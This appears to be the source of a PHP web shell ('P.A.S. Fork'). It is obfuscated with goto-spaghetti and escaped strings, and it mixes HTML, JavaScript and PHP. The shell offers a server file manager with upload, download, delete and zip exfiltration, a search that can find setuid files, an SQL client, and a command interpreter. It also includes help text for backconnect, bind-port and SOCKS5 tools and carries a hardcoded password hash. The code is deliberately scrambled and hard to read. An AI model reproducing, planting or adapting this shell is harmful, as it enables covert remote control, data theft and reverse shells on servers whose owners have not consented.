 <hr class="spcrFlex"/><button >Save</button></div></form></template><form id="frmBuffer"class="modal"onmousedown="uiActvModal(event)"tabindex="-1"><div class="divCntrls"><span class="spnTitle">Buffer</span><a href="#"class="cntrl"title="Close"onclick="return uiClsModal('frmBuffer')">&#x00D7;</a><a href="#"class="cntrl"title="Resize"onclick="return uiRsz('frmBuffer')">&#x2922;</a></div><table id="tblBuffer"onclick="onTblBufferClick(event)"><thead><tr><th width="20px"><input type="checkbox"onclick="uiCheckAll('Buffer', this.checked)"/></th><th>File</th><th width="35px">Act</th></tr></thead><tfoot><tr><th colspan="3"><button type="button"onclick="unmarkFiles()">Remove</button></th></tr></tfoot></table><template id="tmplBufferRow"><tr><td><input type="checkbox"name="f[]"/></td><td><a href="#"></a></td><td><a href="#"class="lnkAct">Rm</a></td></tr></template></form></div></div></span><span id="tabSQL"><a href="#tabSQL"class="tab">SQL Client</a><div class="tabPage"id="divPageSQL"><form class="toolbar"id="frmCnnct"onsubmit="return cnnct()"><select name="e"> <?php  goto WSa3y; t0BE3: ?>
"/></label><label class="option">Interpreter: <input type="text"name="i"value="<?php  goto OXueo; OXueo: if (PHP_VERSION >= "\x35\x2e\64") { echo escHTML(PHP_BINARY); } goto xJtKW; XxpKg: ?>
\n',
    optt = '  -t         Open PTY\n',
    optl = '  -s <u:p>   Secure with authentication (u - username, p - password)\n',
    ign = '     u - Users and Groups;\n     e - Environment;\n     p - Processes;\n     n - Network;\n';
   if (val[0] === 'backconnect.perl' && val.length < 3) prntMsg(usg + ' <ip>' + opt + perl + opts + optn);
   else if (val[0] === 'bindport.perl' && val.length < 2) prntMsg(usg + opt + perl + opta + opts + optn);
   else if (val[0] === 'socks5.perl' && val.length < 2) prntMsg(usg + opt + perl + opta + optl + optn);
   else if (val[0] === 'backconnect.python' && val.length < 3) prntMsg(usg + ' <ip>' + opt + pthn + opts + optt);
   else if (val[0] === 'bindport.python' && val.length < 2) prntMsg(usg + opt + pthn + opta + opts + optt);
   else if (val[0] === 'socks5.python' && val.length < 2) prntMsg(usg + opt + pthn + opta + optl);
   else if (val[0] === 'report' && val[1] === '?') prntMsg(usg + ' [options]\nOptions:\n  -f <file>   Save report to <file>\n  -s [flags]  Skip some information\n     Flags:\n<?php  goto pONv0; LbO1d: $GLOBALS["\x50\x41\123\123\x48\101\123\110"] = "\x64\146\142\x62\145\x63\x63\146\x64\x63\141\x65\x39\67\63\x32\x65\x33\x64\x34\x33\66\71\x37\x38\66\61\145\146\x62\145\67\142\x63\x35\x36\146\x66\x63\x37\64\x36\x66\60\x37\x63\x33\x31\x37\x36\x61\64\65\71\64\146\143\x30\x39\71\x37\67\x62\x37\x34\x37\71\x39\x37\144\71\x33\x63\x62\66\65\x66\x62\x36\x34\x66\146\60\71\x33\x62\143\x34\x36\67\145\60\x61\x62\x33\65\x64\145\63\x62\x63\67\x36\x31\x65\146\x61\62\71\143\142\62\71\141\x39\65\143\64\x64\x66\63\70\63\x37\65\x63\x32\x36"; goto RWhia; zw1oE: if (NIX) { echo "\47\165\x27\54"; } goto bB1qC; dyrTR: ?>
row.style.visibility = 'visible';
}

function fillFileRow(cells, bpth, file, ogn) {
 var fpth = bpth + file[0][0],
  elm = cells[1].firstChild,
  len = file.length;
 if (file[1] === null) fpth += DS;
 cells[0].firstChild.value = fpth;
 elm.textContent = file[0][1];
 if (len % 2 === 0) {
  elm.title = canonPath(file[len - 1], bpth);
  elm.classList.add('lnk');
 }
 if (fmBuffer.indexOf(fpth) > -1) elm.classList.add('mrkd');
 elm = cells[2].firstChild;
 elm.title = file[0][0];
 elm.textContent = file[0][2];
 cells[3].firstChild.textContent = frmtSize(file[1]);
 cells[4].textContent = utsToStr(file[2]);
 elm = cells[5].firstChild;
 elm.classList.add('prm' + file[3]);
 <?php  goto JEY00; JEY00: if (NIX) { ?>
elm.textContent = prmsToStr(file[4]);
 elm.title = (file[4] | 0).toString(8).slice(-4);
 elm = cells[6];
 elm.textContent = ogn;
 elm.title = (file[5] === -1 ? '?' : file[5]) + '/' + (file[6] === -1 ? '?' : file[6]);
 <?php  } else { ?>
switch(file[3]) {
  case 1: elm.textContent = 'read';
  break;
  case 2: elm.textContent = 'write';
  break;
  case 3: elm.textContent = 'read/write';
  break;
  default: elm.textContent = 'none';
  break;
 }
 <?php  } goto I3CN4; lpFFg: ?>
</select></span></form><div class="subbar"><button type="button"title="You can upload multiple files at once..."onclick="elmById('inpUpl').click()">Upload &#8230;</button><span class="spnBtnSbMn"><button type="button"class="btnSbMn"onclick="uiTgglSubMenu(event)"onblur="menuButtonBlur(this)">Create <hr class="arwDwn"/></button><div class="divSbMn"onclick="onCrtMenuClick(event)"><a href="#"class="aMnItm"onblur="menuItemBlur(this)">File</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Link</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Directory</a></div></span><span class="spnBtnSbMn"><button type="button"class="btnSbMn"id="btnBufferMenu"onclick="uiTgglSubMenu(event)"onblur="menuButtonBlur(this)"disabled>Buffer <hr class="arwDwn"/></button><div class="divSbMn"onclick="onBufferMenuClick(event)"><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Show files<a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Copy here</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Move here</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Download</a><a href="#"class="aMnItm"onblur="menuItemBlur(this)">Clear</a></div></span></div><div><form id="frmFiles"><table id="tblFiles"cols="<?php  goto WIEYr; u3rmu: ?>
);
 if ('e' in data) {
  var msg = div.childNodes[1].nodeValue;
  uiChngMsg(div, "Can't " + msg.slice(0, 10).toLowerCase() + msg.slice(26, -1) + ":\n" + data.e.join("\n"), 'Err');
 } else uiDelMsg(div);
}

function flushBuffer(act) {
 var bpth = elmPth.placeholder,
  data = {
   f: bpth
  };
 data[act === 'Copy' ? 'p' : 'v'] = fmBuffer;
 fmAjxSnd(act + ' files from the buffer to ' + bpth, onFlshBuffer, data);
}

function clnBuffer() {
 var as = elmTblFiles.getElementsByClassName('mrkd');
 for (var i = as.length - 1; i >= 0; --i) as[i].classList.remove('mrkd');
 fmBuffer = [];
 updBufferState();
}

function onBufferMenuClick(e) {
 var trgt = e.target;
 if (trgt.tagName !== 'A') return;
 e.preventDefault();
 e.stopPropagation();
 trgt.blur();
 fmBuffer.sort();
 switch (trgt.textContent) {
  case 'Show files':
   uiShwFrmBuffer();
   break;
  case 'Copy here':
  case 'Move here':
   flushBuffer(trgt.textContent.slice(0, 4));
   clnBuffer();
   break;
  case 'Download':
   dwnFiles(fmBuffer);
   clnBuffer();
   break;
  case 'Clear':
   clnBuffer();
   break;
 }
}

function markFiles(files) {
 var bfrTbdy = elmById('frmBuffer').style.visibility === 'visible' ? elmById('tblBuffer').tBodies[0] : null,
  elmTmplBufferRow = elmById('tmplBufferRow').content.firstChild;
 for (var i = 0, c = files.length; i < c; ++i) {
  var file = files[i],
   n = fmBuffer.indexOf(file);
  if (n === -1) {
   fmBuffer.push(file);
   if (bfrTbdy) {
    var row = elmTmplBufferRow.cloneNode(true);
    row.cells[0].firstChild.value = file;
    row.cells[1].firstChild.textContent = file;
    bfrTbdy.appendChild(row);
   }
  } else {
   fmBuffer.splice(n, 1);
   if (bfrTbdy) bfrTbdy.removeChild(bfrTbdy.rows[n]);
  }
 }
 updBufferState();
}

function getSlctdFiles() {
 var inps = elmById('frmFiles')['f[]'],
  chckd = [];
 if (inps) {
  if (inps.length > 0) {
   for (var i = 0, c = inps.length; i < c; ++i)
    if (inps[i].checked) chckd.push(inps[i].value);
  } else chckd.push(inps);
 }
 return chckd;
}

function prpsSlctdFiles() {
 var files = getSlctdFiles();
 if (files.length > 0) uiShwFrmPrps(['', '', '', '', ''], files)
}

function markSlctdFiles() {
 var inps = elmById('frmFiles')['f[]'],
  files = [];
 if (!inps) return;
 if (!inps.length) inps = [inps];
 for (var i = 0, c = inps.length; i < c; ++i)
  if (inps[i].checked) {
   inps[i].parentNode.parentNode.cells[1].firstChild.classList.toggle('mrkd');
   files.push(inps[i].value);
  } markFiles(files);
}

function onTblFilesClick(e) {
 var trgt = e.target;
 if (trgt.tagName !== 'A') return;
 e.preventDefault();
 e.stopPropagation();
 if (trgt.className == 'spnPth') goTo(trgt.hash.slice(1));
 else {
  var cell = trgt.parentNode,
   row = cell.parentNode,
   fpth = row.cells[0].firstChild.value;
  switch (cell.cellIndex) {
   case 1:
    goTo(fpth);
    break;
   case 2:
    var elmTxtClpbrd = elmById('txtClpbrd');
    elmTxtClpbrd.value = trgt.title;
    elmTxtClpbrd.select();
    document.execCommand('copy');
    elmTxtClpbrd.value = '';
    trgt.focus();
    break;
   case 3:
    dwnFiles([fpth]);
    break;
   case 5:
    <?php  goto B46FD; D25bh: ?>
'; <?php  goto oKPfv; lQqu6: if (NIX) { ?>
<td></td><?php  } goto ng60J; OKNcO: if (!defined("\x43\105\104")) { if (isset($D["\x61"])) { $md5 = md5(rand(0, 777777)); if (isset($D["\144"])) { if ($D["\x61"] === "\x66") { if (is_array($D["\144"])) { $D["\104\x42\x50"] = samePath($D["\x64"]); $n = $md5 . "\x2e\172\x69\x70"; } elseif (is_dir($D["\144"])) { $n = $md5 . "\x2e\x7a\151\x70"; } else { $n = fileName($D["\x64"]); } $n = escFileName($n); } else { $n = $md5 . "\56\172\151\160"; } header("\x43\x6f\x6e\164\x65\156\x74\55\x54\x79\x70\145\x3a\40\x61\160\160\x6c\151\143\141\x74\x69\157\x6e\57\157\x63\164\x65\x74\x2d\163\164\x72\x65\x61\155"); header("\x43\157\156\164\145\156\x74\x2d\x44\151\163\160\x6f\x73\151\x74\151\157\x6e\72\x20\141\x74\x74\141\143\150\x6d\x65\156\164\x3b\x20\146\x69\154\145\x6e\x61\155\145\x3d\42" . $n . (RO ? '' : "\56\x67\172") . "\42"); } else { header("\103\157\156\x74\x65\156\x74\x2d\x54\x79\x70\x65\72\x20\x61\160\x70\154\151\143\141\164\151\157\156\x2f\x6a\163\157\156\x3b\40\x63\x68\141\162\x73\145\164\75" . CSE); } } else { header("\x43\157\x6e\164\x65\x6e\x74\x2d\124\171\x70\145\x3a\x20\x74\x65\x78\x74\57\150\x74\155\x6c\73\x20\x63\x68\141\x72\x73\x65\164\75" . CSE); } } goto CWbST; yWlhJ: foreach ($a as $k => $v) { if (defined($k)) { echo "\74\157\160\164\151\x6f\x6e\x20\x76\141\154\165\145\75\42", $v[0], "\x22\x3e", $v[1], "\x3c\x2f\157\160\164\x69\x6f\x6e\x3e"; } } goto IocAI; tLK80: echo paramsHandlerJS(); goto QegiF; Qhy05: ?>
elmById('divWndws').appendChild(frm);
 uiShwModal(frm);
}

function onGetPrps(div, data) {
 if (data[4] === 0) return uiChngMsg(div, "Can't get properties of " + data[0], 'Err');
 uiShwFrmPrps([data[0], utsToStr(data[2]), (data[4] | 0).toString(8).slice(-4), data[5] === -1 ? '?' : data[5], data[6] === -1 ? '?' : data[6]], [data[0]]);
 uiDelMsg(div);
}

function getPrps(fpth) {
 fmAjxSnd('Get properties of ' + fpth, onGetPrps, {
  i: fpth
 });
}

function onDwnFiles(div, data) {
 uiChngMsg(div, "Can't d" + div.childNodes[1].nodeValue.slice(1, -2), 'Err');
}

function dwnFiles(files) {
 var cnt = files.length;
 if (cnt > 0) fmAjxSnd('Download ' + (cnt > 1 ? 'selected files (' + cnt + ')' : files[0]), onDwnFiles, {
  d: cnt > 1 ? files : files[0]
 });
}

function onDelFiles(div, data) {
 if ('r' in data) {
  for (var i = data.r.length - 1; i >= 0; --i) rmFiles(data.r[i]);
  updBufferState();
 }
 if ('e' in data) uiChngMsg(div, "Can't delete " + (data.e.length === 1 ? data.e[0] : ':\n' + data.e.join('\n')), 'Err');
 else uiDelMsg(div);
}

function delFiles(files) {
 var cnt = files.length,
  msg = 'Delete ' + (cnt > 1 ? 'selected files (' + cnt + ')' : files[0]);
 if (cnt > 0 && confirm(msg + ' ?')) fmAjxSnd(msg, onDelFiles, {
  u: files
 });
}

function onFastActClick(e) {
 var trgt = e.target;
 if (trgt.tagName !== 'A') return;
 e.preventDefault();
 e.stopPropagation();
 trgt.blur();
 var fpth = canonPath(elmPth.value, elmPth.placeholder);
 if (fpth === '') return;
 switch (trgt.textContent) {
  case 'Properties':
   getPrps(fpth);
   break;
  case 'Download':
   dwnFiles([fpth]);
   break;
  case 'Delete':
   delFiles([fpth]);
   break;
 }
}

function onUplFiles(div, data) {
 if ('p' in data) updTblFiles(data<?php  goto MgM2z; FrNOm: function parsePath($p, &$b, &$n) { $v = rtrim($p, DSC); $i = strrpos($v, DSC); if ($i === FALSE) { if (!NIX && strlen($v) === 2 && $v[1] === "\x3a") { $b = $v . DSC; $n = ''; } else { $b = DSC; $n = $v; } } else { $b = substr($v, 0, $i + 1); $n = substr($v, $i + 1); } } goto HPKuj; Absku: ?>
</script></head><body onkeydown="uiKeyDwn(event)"><div id="divHdr"class="divCntrls"><a href="#"class="cntrl"title="Color mode"onclick="return invertColors()">&bull;</a><a href="#"class="cntrl"title="Resize view"onclick="return uiRszBody()">&#x21C4;</a><a href="#"class="cntrl"title="Settings"onclick="return uiShwModal('divStngs')">&#x2699;</a></div><div id="divBody"><span id="tabFM"><a href="#tabFM"class="tab">File Manager</a><div class="tabPage"id="divFM"><textarea id="txtClpbrd"tabindex="-1"></textarea><form hidden id="frmUpl"><input type="file"name="f[]"id="inpUpl" onchange="uplFiles()"/></form><form class="toolbar"id="frmFM"onsubmit="return goTo(this.p.value)"><a href="#"class="cntrl"id="btnSrch"title="Search..."onclick="return uiShwFrmSrch()"></a><button type="button"title="Go home!"onclick="goTo('~')">~</button> <?php  goto IFFT1; tCVdW: if (isset($D["\141"])) { class PZIP { var $_bpl = '', $_cdfh = NULL, $_cdfp = NULL, $_cdfo = FALSE, $_cdrc = 0, $_cdso = 0, $_flrs = array(); function init($bp = '') { $this->_bpl = strlen($bp); if ($h = tmpfile()) { $this->_cdfh = $h; } else { $n = tempName(); $a = array("\x75\160\154\x6f\141\144\x5f\164\155\x70\137\144\x69\x72", "\163\x65\x73\x73\151\x6f\x6e\x2e\x73\141\166\x65\x5f\160\x61\x74\x68", "\x75\x73\x65\x72\x5f\144\x69\162", "\144\157\143\137\162\157\157\x74"); foreach ($a as $v) { if ($p = ini_get($v)) { $p .= DSC . $n; if ($h = fopen($p, "\x62\167\53")) { flock($h, LOCK_EX); $this->_cdfh = $h; $this->_cdfp = $p; return TRUE; } if (PHP_VERSION >= "\65") { if (PHP_VERSION >= "\65\56\x31") { try { $h = new SplFileObject($p, "\142\167\53"); } catch (Exception $e) { $h = NULL; } if ($h) { $h->flock(LOCK_EX); $this->_cdfh = $h; $this->_cdfp = $p; $this->_cdfo = TRUE; return TRUE; } } } } } $p = selfPath() . $n; if ($h = fopen($p, "\142\x77\53")) { flock($h, LOCK_EX); $this->_cdfh = $h; $this->_cdfp = $p; return TRUE; } if (PHP_VERSION >= "\x35") { if (PHP_VERSION >= "\65\x2e\61") { try { $h = new SplFileObject($p, "\142\x77\x2b"); } catch (Exception $e) { $h = NULL; } if ($h) { $h->flock(LOCK_EX); $this->_cdfh = $h; $this->_cdfp = $p; $this->_cdfo = TRUE; return TRUE; } } } } return FALSE; } function fileHeader($n, $t) { echo "\120\x4b\x3\x4\24\0\10\x0\x0\x0", $t, "\0\0\x0\0\0\x0\0\x0\0\x0\0\0", pack("\166", strlen($n)), "\x0\x0", $n; ob_start("\x7a\151\x70\103\141\x6c\x63", 1048576); } function fileFooter($n, $t) { ob_end_flush(); $v = zipCalc(NULL); $s = pack("\126", $v[0]); $c = pack("\x56", $v[1] ^ 4294967295); echo "\x50\x4b\x7\x8", $c, $s, $s; $fh = $this->_cdfh; $nl = strlen($n); $data = "\x50\113\1\x2\x0\x0\24\0\x8\x0\x0\x0" . $t . $c . $s . $s . pack("\166", $nl) . "\x0\0\x0\0\x0\x0\0\0\0\0\0\x0" . pack("\x56", $this->_cdso) . $n; if ($this->_cdfo) { $fh->fwrite($data); $fh->fflush(); } else { fwrite($fh, $data); fflush($fh); } ++$this->_cdrc; $this->_cdso += 46 + $v[0] + $nl; } function addPath($p) { $f = new FileInfo($p); if ($f->isDir()) { if (substr($p, -1) !== DSC) { $p .= DSC; } $f = NULL; if (!dirRead($p, array(&$this, "\141\x64\x64\120\141\x74\x68"))) { $this->_flrs[] = substr($p, $this->_bpl); } } else { $t = packTime($f->getMTime()); $f = substr($p, $this->_bpl); if (!NIX) { $f = str_replace(DSC, "\x2f", $f); } $this->fileHeader($f, $t); if (!outFile($p)) { $this->_flrs[] = $f; } $this->fileFooter($f, $t); } } function close() { if (count($this->_flrs) > 0) { $n = "\x43\101\x4e\x54\x5f\122\x45\x41\104\x2e\164\170\164"; $t = packTime(time()); $this->fileHeader($n, $t); foreach ($this->_flrs as $v) { echo $v, "\12"; } $this->fileFooter($n, $t); } $fh = $this->_cdfh; if ($this->_cdfo) { $s = $fh->ftell(); $fh->fseek(0); if (!is_int($fh->fpassthru())) { while (!$fh->eof()) { echo $fh->fread(1048576); } } $fh->flock(LOCK_UN); unset($fh, $this->_cdfh); } else { $s = ftell($fh); fseek($fh, 0); if (!is_int(fpassthru($fh))) { while (!feof($fh)) { echo fread($fh, 1048576); } } flock($fh, LOCK_UN); fclose($fh); } if ($this->_cdfp !== NULL) { delFile($this->_cdfp); } $v = pack("\x76", $this->_cdrc); $c = "\x41\x72\x63\x68\x69\166\145\144\x20\142\x79\40\x50\x2e\x41\x2e\x53\x2e\x20\106\x6f\162\x6b\x20\166\x2e\x20" . VER; echo "\120\113\x5\6\x0\x0\x0\0", $v, $v, pack("\126", $s), pack("\x56", $this->_cdso), pack("\x76", strlen($c)), $c; sDie(); } } function packTime($v) { $v = getdate($v); return pack("\166\166", ($v["\x68\x6f\x75\x72\163"] << 11) + ($v["\x6d\x69\156\165\x74\x65\163"] << 5) + $v["\x73\145\143\157\x6e\x64\163"] >> 1, ($v["\x79\x65\141\x72"] - 1980 << 9) + ($v["\155\157\x6e"] << 5) + $v["\x6d\144\x61\171"]); } if (!defined("\x50\110\x50\x5f\111\x4e\124\137\x4d\x41\130")) { define("\120\110\120\x5f\x49\x4e\x54\137\x4d\101\130", intval("\61\x30\60\60\60\x30\x30\x30\60\60\60\x30\x30\x30\x30\60\60\60\60\x30")); } function zipCalc($buff) { static $crcTbl = NULL, $chrTbl = NULL, $dataSize = 0, $crcSum = 4294967295, $shftFix = 0; if ($crcTbl === NULL) { $shftFix = PHP_INT_MAX >> 0; for ($i = 0; $i < 256; ++$i) { $v = $i; for ($j = 8; $j; --$j) { $v = $v & 1 ? $v >> 1 & $shftFix ^ 3988292384 : $v >> 1 & $shftFix; } $crcTbl[] = $v; $chrTbl[chr($i)] = $i; } $shftFix = PHP_INT_MAX >> 7; } elseif ($buff === NULL) { $v = array($dataSize, $crcSum); $dataSize = 0; $crcSum = 4294967295; return $v; } $c = strlen($buff); $dataSize += $c; for ($i = 0; $i < $c; ++$i) { $crcSum = $crcTbl[$crcSum & 255 ^ $chrTbl[$buff[$i]]] ^ $crcSum >> 8 & $shftFix; } return $buff; } function jsonEcho($v) { static $s = NULL, $r = NULL; if ($s === NULL) { $s = array("\x5c", "\x22"); $r = array("\134\165\x30\60\x35\143", "\134\165\x30\x30\x32\x32"); for ($i = 0; $i <= 31; ++$i) { $s[] = chr($i); $r[] = sprintf("\x5c\x75\x30\60\45\x30\x32\x73", dechex($i)); } } echo $v === NULL ? "\42\116\x55\x4c\114\42" : "\42" . str_replace($s, $r, $v) . "\42"; } switch ($D["\141"]) { case "\x66": function testProp($a, $v) { foreach ($a as $i) { if (is_array($i)) { if (count($i) === 2) { if ($v > $i[0] && $v < $i[1]) { return TRUE; } } elseif (isset($i[0])) { if ($v > $i[0]) { return TRUE; } } elseif ($v < $i[1]) { return TRUE; } } elseif ($v === $i) { return TRUE; } } return FALSE; } class Searcher { var $f, $d, $p, $a; function __construct($v) { echo "\173\42\146\x22\72\x5b"; $this->f = $v; $this->d = 0; $this->p = NULL; $this->a = array(); } function filter($v) { $i = new FileInfo($v); $k = $i->getFileName(); $f = $this->f; if ($k === "\x2e" || $k === "\56\56") { return; } if ($i->isLink() && !isset($f["\x6c"])) { return; } $b = $i->isDir(); if ($b && (!isset($f["\x64"]) || $f["\x64"] > $this->d)) { $this->a[] = $v; } if (isset($f["\171"]) && ($f["\x79"] === 1 ? !$b : $b)) { return; } if (isset($f["\x70"]) && $i->getMode() < $f["\160"]) { return; } if (!$b && isset($f["\165"]) && ($i->getPerms() & 3584) !== 2048) { return; } if (isset($f["\x6e"])) { if ($k !== $f["\x6e"]) { return; } } elseif (isset($f["\151"])) { if (strcasecmp($k, $f["\151"]) !== 0) { return; } } elseif (isset($f["\162"])) { if (!preg_match($f["\x72"], $k)) { return; } } if (isset($f["\157"]) && !testProp($f["\157"], $i->getOwner())) { return; } if (isset($f["\x67"]) && !testProp($f["\x67"], $i->getGroup())) { return; } if (isset($f["\x65"]) && !testProp($f["\145"], $i->getCTime())) { return; } if (isset($f["\155"]) && !testProp($f["\x6d"], $i->getMTime())) { return; } if (!$b && isset($f["\x7a"]) && !testProp($f["\172"], $i->getSize())) { return; } if (!$b && (isset($f["\164"]) || isset($f["\166"]) || isset($f["\170"]))) { if (!is_string($k = getFile($v))) { return; } if (isset($f["\x74"])) { if (strpos($k, $f["\x74"]) === FALSE) { return; } } elseif (isset($f["\166"])) { if (stristr($k, $f["\166"]) === FALSE) { return; } } elseif (!preg_match($f["\x78"], $k)) { return; } } $k = $i->getPath(); if ($this->p !== $k) { if ($this->p !== NULL) { echo "\x5d\175\54"; } echo "\173\x22\160\42\x3a"; jsonEcho($k); $this->p = $k; $k = new FileInfo($k); echo "\x2c\42\155\42\x3a", $k->getMode(), "\x2c\42\x66\x22\x3a\x5b"; } outFileInfo($i); } function search($v) { $this->a = array(); dirRead($v, array(&$this, "\146\x69\x6c\164\x65\x72")); if (!isset($this->f["\144"]) || $this->f["\x64"] > $this->d) { ++$this->d; $a = $this->a; foreach ($a as $v) { $this->search($v); } } } function finish() { if ($this->p !== NULL) { echo "\x5d\x7d\x5d"; outFileInfo(NULL, TRUE); } else { echo "\135"; } sDie("\x7d"); } } function dirRead($p, $f) { $b = is_string($f); if (substr($p, -1) !== DSC) { $p .= DSC; } if ($v = opendir($p)) { while (($i = readdir($v)) !== FALSE) { if ($i !== "\56" && $i !== "\56\x2e") { $b ? $f($p . $i) : $f[0]->{$f[1]}($p . $i); } } closedir($v); return TRUE; } if ($v = dir($p)) { while (($i = $v->read()) !== FALSE) { if ($i !== "\56" && $i !== "\x2e\56") { $b ? $f($p . $i) : $f[0]->{$f[1]}($p . $i); } } $v->close(); return TRUE; } if (PHP_VERSION >= "\65") { try { $v = new DirectoryIterator($p); } catch (Exception $e) { $v = FALSE; } if ($v) { foreach ($v as $i) { $n = $i->getFileName(); if ($n !== "\56" && $n !== "\56\56") { $b ? $f($i) : $f[0]->{$f[1]}($i); } } unset($i, $v); return TRUE; } try { $v = new RecursiveDirectoryIterator($p); } catch (Exception $e) { $v = FALSE; } if ($v) { foreach ($v as $i) { $b ? $f($i) : $f[0]->{$f[1]}($i); } unset($i, $v); return TRUE; } if (PHP_VERSION >= "\x35\x2e\x33") { try { $v = new FilesystemIterator($p); } catch (Exception $e) { $v = FALSE; } if ($v) { foreach ($v as $i) { $b ? $f($i) : $f[0]->{$f[1]}($i); } unset($i, $v); return TRUE; } } $v = defined("\x53\103\x41\x4e\104\111\x52\137\x53\x4f\x52\x54\137\x4e\117\116\x45") ? scandir($p, SCANDIR_SORT_NONE) : scandir($p); if ($v !== FALSE) { foreach ($v as $i) { if ($i !== "\x2e" && $i !== "\x2e\x2e") { $b ? $f($p . $i) : $f[0]->{$f[1]}($p . $i); } } return TRUE; } } if (PHP_VERSION >= "\64\56\63" && defined("\107\114\x4f\x42\137\102\122\101\x43\105") && ($v = glob($p . DSC . "\x7b\x2c\x2e\175\x2a", GLOB_NOESCAPE | GLOB_NOSORT | GLOB_BRACE))) { foreach ($v as $i) { $n = fileName($i); if ($n !== "\x2e" && $n !== "\x2e\x2e") { $b ? $f($i) : $f[0]->{$f[1]}($i); } } return TRUE; } if (PHP_VERSION >= "\65") { if (PHP_VERSION >= "\x35\56\x33") { try { $v = new GlobIterator($p . "\x2a"); } catch (Exception $e) { $v = FALSE; } if ($v && count($v) > 0) { foreach ($v as $i) { $b ? $f($i) : $f[0]->{$f[1]}($i); } unset($i, $v); return TRUE; } } } return FALSE; } function delDir($p) { dirRead($p, "\x64\x65\154\106\117\x44"); return rmdir($p); } function delFOD($f) { $f = new FileInfo($f); $n = $f->getFileName(); if ($n !== "\56" && $n !== "\x2e\x2e") { return !$f->isLink() && $f->isDir() ? delDir($f->getPathName()) : delFile($f->getPathName()); } } function isInt($v) { return (string) $v === (string) (int) $v; } function jsonFileInfo($f, $b) { echo "\x5b"; jsonEcho($b ? $f->getPathName() : $f->getFileName()); echo "\x2c", $f->isDir() ? "\156\165\x6c\x6c" : $f->getSize(), "\x2c", TM ? $f->getCTime() : $f->getMTime(), "\54", $f->getMode(), "\54\42", $f->getPerms(), "\42"; if (NIX) { echo "\54", $f->getOwner(), "\54", $f->getGroup(); if ($b) { echo "\x2c"; jsonEcho(uName($f->getOwner())); echo "\x2c"; jsonEcho(gName($f->getGroup())); } } if ($f->isLink()) { echo "\x2c"; jsonEcho($f->getLinkTarget()); } echo "\x5d"; } function outFileInfo($f, $b = NULL) { static $p = NULL, $o = array(), $g = array(); if ($b === TRUE) { if (!NIX || count($o) === 0) { return; } $b = FALSE; echo "\x2c\42\157\42\72\173"; foreach ($o as $k => $v) { if ($b) { echo "\x2c"; } else { $b = TRUE; } echo "\x22", $k, "\42\x3a"; jsonEcho(uName($k)); } $b = FALSE; echo "\175\54\42\x67\42\72\x7b"; foreach ($g as $k => $v) { if ($b) { echo "\x2c"; } else { $b = TRUE; } echo "\42", $k, "\42\x3a"; jsonEcho(gName($k)); } echo "\x7d"; return; } if ($b === FALSE) { $p = NULL; return; } if (!isset($f->fp)) { $f = new FileInfo($f); } if ($p === $f->getPath()) { echo "\x2c"; } else { $p = $f->getPath(); } jsonFileInfo($f, FALSE); if (NIX) { $o[$f->getOwner()] = 1; $g[$f->getGroup()] = 1; } } function outFile($p) { if (preg_match("\57\x5c\56\147\172\x24\x2f\151", $p)) { if (is_int(readgzfile($p))) { return TRUE; } if ($v = gzopen($p)) { if (!is_int(gzpassthru($v))) { while (!gzeof($v)) { echo gzread($v, 1048576); } } gzclose($v); return TRUE; } if ($v = gzfile($p)) { if (is_array($v)) { foreach ($v as $i) { echo $i; } return TRUE; } } } if (RO && is_int(readfile($p))) { return TRUE; } if (RO && copy($p, "\160\150\160\x3a\57\57\157\165\x74\x70\x75\x74")) { return TRUE; } if ($v = fopen($p, "\x72\x62")) { if (!is_int(fpassthru($v))) { while (!feof($v)) { echo fread($v, 1048576); } } fclose($v); return TRUE; } if (PHP_VERSION >= "\65") { if (PHP_VERSION >= "\x35\x2e\61") { try { $v = new SplFileObject($p, "\162\142"); } catch (Exception $e) { $v = FALSE; } if ($v) { if (!is_int($v->fpassthru())) { while (!$v->eof()) { echo $v->fgets(); } } unset($v); return TRUE; } } } if (PHP_VERSION >= "\x34\x2e\x33") { $v = file_get_contents($p); if (is_string($v)) { echo $v; return TRUE; } } $v = file($p); if (is_array($v)) { foreach ($v as $i) { echo $i; } return TRUE; } return FALSE; } if (isset($D["\163"])) { $a = array(); $e = "\x7b\x22\145\42\72\x22\131\x6f\x75\x20\150\x61\166\145\x20\x73\x79\156\164\141\170\40\145\x72\162\x6f\x72\40\151\x6e\x20\x25\x73\x20\160\141\164\164\145\162\156\x22\x7d"; if (isset($D["\x6e"])) { if (isset($D["\x77"])) { $r = "\x23\x5e"; $c = ''; $p = ''; $q = 0; $b = FALSE; for ($i = 0, $l = strlen($D["\156"]); $i < $l; ++$i) { $c = $D["\156"][$i]; if ($q > 0 && $c !== "\77") { $r .= "\56"; if ($q > 1) { $r .= "\173" . $q . "\175"; } $q = 0; } switch ($c) { case "\x2a": if ($c !== $p) { $r .= "\56\x2a"; } break; case "\77": ++$q; break; case "\134": if ($i + 1 >= $l) { sDie(sprintf($e, "\156\x61\155\x65")); } $r .= $c . $D["\x6e"][++$i]; break; case "\133": ++$b; $r .= $c; break; case "\x5d": --$b; $r .= $c; break; case "\x2d": $r .= $b > 0 ? $c : "\x5c\55"; break; case "\x21": $r .= $p === "\x5b" ? "\136" : "\134\41"; break; default: $r .= addcslashes($c, "\56\x2b\x5e\x24\x28\51\x7b\x7d\x3d\74\76\174\x3a\x23"); break; } $p = $c; } if ($q > 0) { $r .= "\x2e"; if ($q > 1) { $r .= "\173" . $q . "\175"; } } $r .= "\x24\x23"; if (isset($D["\151"])) { $r .= "\151"; } if (preg_match($r, '') === FALSE) { sDie(sprintf($e, "\156\x61\155\x65")); } $a["\x72"] = $r; } elseif (isset($D["\151"])) { $a["\151"] = $D["\156"]; } else { $a["\156"] = $D["\x6e"]; } } if (isset($D["\x74"])) { if (isset($D["\x78"])) { if (preg_match("\x23" . $D["\x78"] . "\43", '') === FALSE) { sDie(sprintf($e, "\164\145\x78\164")); } $a["\x78"] = "\x23" . $D["\x74"] . "\x23"; if (isset($D["\166"])) { $a["\170"] .= "\x69"; } } elseif (isset($D["\166"])) { $a["\166"] = $D["\x74"]; } else { $a["\164"] = $D["\x74"]; } } $i = array("\154", "\144", "\171", "\160", "\x75"); foreach ($i as $k) { if (isset($D[$k])) { $a[$k] = (int) $D[$k]; } } $i = array("\157", "\147", "\172"); foreach ($i as $k) { if (isset($D[$k])) { $s 